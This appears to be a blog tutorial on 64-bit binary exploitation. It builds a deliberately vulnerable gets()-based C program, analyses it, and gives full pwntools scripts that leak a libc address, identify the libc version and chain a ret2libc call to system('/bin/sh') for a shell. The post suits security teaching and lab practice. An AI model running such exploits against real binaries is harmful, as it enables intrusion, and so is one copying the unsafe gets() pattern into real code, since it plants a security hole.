Binary exploitation: ret2libc + unknown libc
Tue Jan 22, 2019 · 7 min read

This post will guide your through how to exploit a binary with a unknown libc. The post will cover details on how to perform a static and dynamic analysis of the binary and also explain how to perform a ret2libc attack.

Tools needed

Setup

Filename: vuln.c

#include <stdio.h>

int main() {
    char buffer[32];
    puts("Simple ROP.\n");
    gets(buffer);

    return 0;
}

Filename: Makefile

all:
    gcc -o vuln vuln.c -fno-stack-protector  -no-pie

Static analysis

First we need to figure out if the binary is 32-bit or 64-bit. This can be done with the file command.

$ file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=09907533b43263caa145e3320b6e9ed01be10746, not stripped

We are dealing with a 64-bit binary. Now we need to figure out which protections are enabled. This can with the checksec that comes with pwntools.

$ checksec vuln
[*] '/rop2win/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Now we have gather a lot of useful information about the binary. Let’s fire up radare2 to do some static analysis of the binary.

$ r2 vuln
[0x7fedca20a090]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis
[0x7fedca20a090]> s main
[0x00400537]> pdf
;-- main:
/ (fcn) sym.main 44
|   sym.main (int argc, char **argv, char **envp);
|           ; var int local_20h @ rbp-0x20
|           ; DATA XREF from entry0 (0x40046d)
|           0x00400537      55             push rbp
|           0x00400538      4889e5         mov rbp, rsp
|           0x0040053b      4883ec20       sub rsp, 0x20
|           0x0040053f      488d3dae0000.  lea rdi, str.Simple_ROP.    ; 0x4005f4 ; "Simple ROP.\n"
|           0x00400546      e8e5feffff     call sym.imp.puts           ; int puts(const char *s)
|           0x0040054b      488d45e0       lea rax, [local_20h]
|           0x0040054f      4889c7         mov rdi, rax
|           0x00400552      b800000000     mov eax, 0
|           0x00400557      e8e4feffff     call sym.imp.gets           ; char *gets(char *s)
|           0x0040055c      b800000000     mov eax, 0
|           0x00400561      c9             leave
\           0x00400562      c3             ret

Psuedo code from this assembly code will look something like this:

int main(){
    char local_20[32];
    puts("Simple ROP.\n");
    gets(local_20);
    return 0;
}

We know from the man page of gets that the function should never be used as it will create a buffer overflow.

BUGS
       Never use gets().  Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and because  gets()  will  con‐
       tinue to store characters past the end of the buffer, it is extremely dangerous to use.  It has been used to break computer security.  Use fgets() instead.

Summary

Cool, lets sum up what we have figured out so far:

Dynamic analysis

Playing around with the binary we first see if our static analysis is correct

$ ./vuln 
Simple ROP.

hello

Correct. First a call to puts, then a call to gets. Let’s see if we can get the program to crash by entering a bigger payload.

$ ./vuln 
Simple ROP.

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

A segmentation fault occurred when we entered a payload bigger than 32 characters. This means we overwrote the return address of the stack frame with A's which is 0x41 in hex, which is a invalid address that the program will jump to and then crash as the instruction does not exist.

Leaking libc address with pwntools

We know we can’t do a text box buffer overflow. What we can do instead is do a ROP attack. First we need to leak a LIBC address:

$ objdump -t vuln
..
0000000000000000       F *UND*  0000000000000000              __libc_start_main@@GLIBC_2.2.5
..

I choose to leak libc address of __libc_start_main.

Let’s create a rop chain that will:

  1. Overflow buffer until return address
  2. Call pop rdi; ret gadget
  3. Place __libc_start_main onto the stack
  4. Call puts@plt
from pwn import * # Import pwntools

p = process("./vuln") # start the vuln binary
elf = ELF("./vuln") # Extract data from binary
rop = ROP(elf) # Find ROP gadgets

# Find addresses for puts, __libc_start_main and a `pop rdi;ret` gadget
PUTS = elf.plt['puts']
LIBC_START_MAIN = elf.symbols['__libc_start_main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] # Same as ROPgadget --binary vuln | grep "pop rdi"

log.info("puts@plt: " + hex(PUTS))
log.info("__libc_start_main: " + hex(LIBC_START_MAIN))
log.info("pop rdi gadget: " + hex(POP_RDI))

base = "A"*32 + "B"*8 #Overflow buffer until return address
# Create rop chain
rop = base + p64(POP_RDI) + p64(LIBC_START_MAIN) +  p64(PUTS)

#Send our rop-chain payload
p.sendlineafter("ROP.", rop)

#Parse leaked address
p.recvline()
p.recvline()
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  __libc_start_main: %s" % hex(leak))

p.close()

Running the script:

$ python exploit.py 
[+] Starting local process './vuln': pid 14155
[*] puts@plt: 0x40042c
[*] __libc_start_main: 0x600ff0
[*] pop rdi gadget: 0x4005d3
[*] Leaked libc address,  __libc_start_main: 0x7f0c5fbbaab0
[*] Stopped process './vuln' (pid 14155)

Now we have managed to leak a libc address which is 0x7f0c5fbbaab0. Without knowing the version of the libc, it’s impossible to calculate offsets to other libc functions. puts and gets will only get us so far. system would be more useful.

Unknown libc version, is it really unknown?

I will use libc-database for this.

To install run:

This will take some time, be patient.

For this to work we need:

We can figure out which libc that is most likely used.

$ ./find __libc_start_main 0x7f0c5fbbaab0
http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6_2.27-3ubuntu1_amd64.deb (id libc6_2.27-3ubuntu1_amd64)

We get 1 match which is libc6_2.27-3ubuntu1_amd64!

Let’s download the libc.

$ ./download libc6_2.27-3ubuntu1_amd64
Getting libc6_2.27-3ubuntu1_amd64
  -> Location: http://mirrors.kernel.org/ubuntu/pool/main/g/glibc/libc6_2.27-3ubuntu1_amd64.deb
  -> Downloading package
  -> Extracting package
  -> Package saved to libs/libc6_2.27-3ubuntu1_amd64

Copy the libc from libc/libc6_2.27-3ubuntu1_amd64/libc-2.27.so to our working directory.

Building the final payload: ret2libc

from pwn import * # Import pwntools

p = process("./vuln") # start the vuln binary
elf = ELF("./vuln")# Extract data from binary
libc = ELF("libc-2.27.so")
rop = ROP(elf)# Find ROP gadgets

PUTS = elf.plt['puts']
MAIN = elf.symbols['main']
LIBC_START_MAIN = elf.symbols['__libc_start_main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]# Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("puts@plt: " + hex(PUTS))
log.info("__libc_start_main: " + hex(LIBC_START_MAIN))
log.info("pop rdi gadget: " + hex(POP_RDI))

#Overflow buffer until return address
base = "A"*32 + "B"*8
# Create rop chain
rop = base + p64(POP_RDI) + p64(LIBC_START_MAIN) +  p64(PUTS) + p64(MAIN)

#Send our rop-chain payload
p.sendlineafter("ROP.", rop)

#Parse leaked address
p.recvline()
p.recvline()
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  __libc_start_main: %s" % hex(leak))


libc.address = leak - libc.sym["__libc_start_main"]
log.info("Address of libc %s " % hex(libc.address))

BINSH = next(libc.search("/bin/sh")) #Verify with find /bin/sh
SYSTEM = libc.sym["system"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

rop2 = base + p64(RET) + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM)

p.sendlineafter("ROP.", rop2)

p.interactive()

Running the exploit we get shell.

$ python exploit.py 
[+] Starting local process './vuln': pid 15796
[*] './vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] './libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './vuln'
[*] puts@plt: 0x40042c
[*] __libc_start_main: 0x600ff0
[*] pop rdi gadget: 0x4005d3
[*] Leaked libc address,  __libc_start_main: 0x7f07dd0d4ab0
[*] Address of libc 0x7f07dd0b3000 
[*] bin/sh 0x7f07dd266e9a 
[*] system 0x7f07dd102440 
[*] Switching to interactive mode


$ ls
exploit.py    Makefile  vuln.c  vuln
libc-2.27.so  peda-session-vuln.txt         

back · #root · A taste of security · Break it, fix it. · I'm Hugo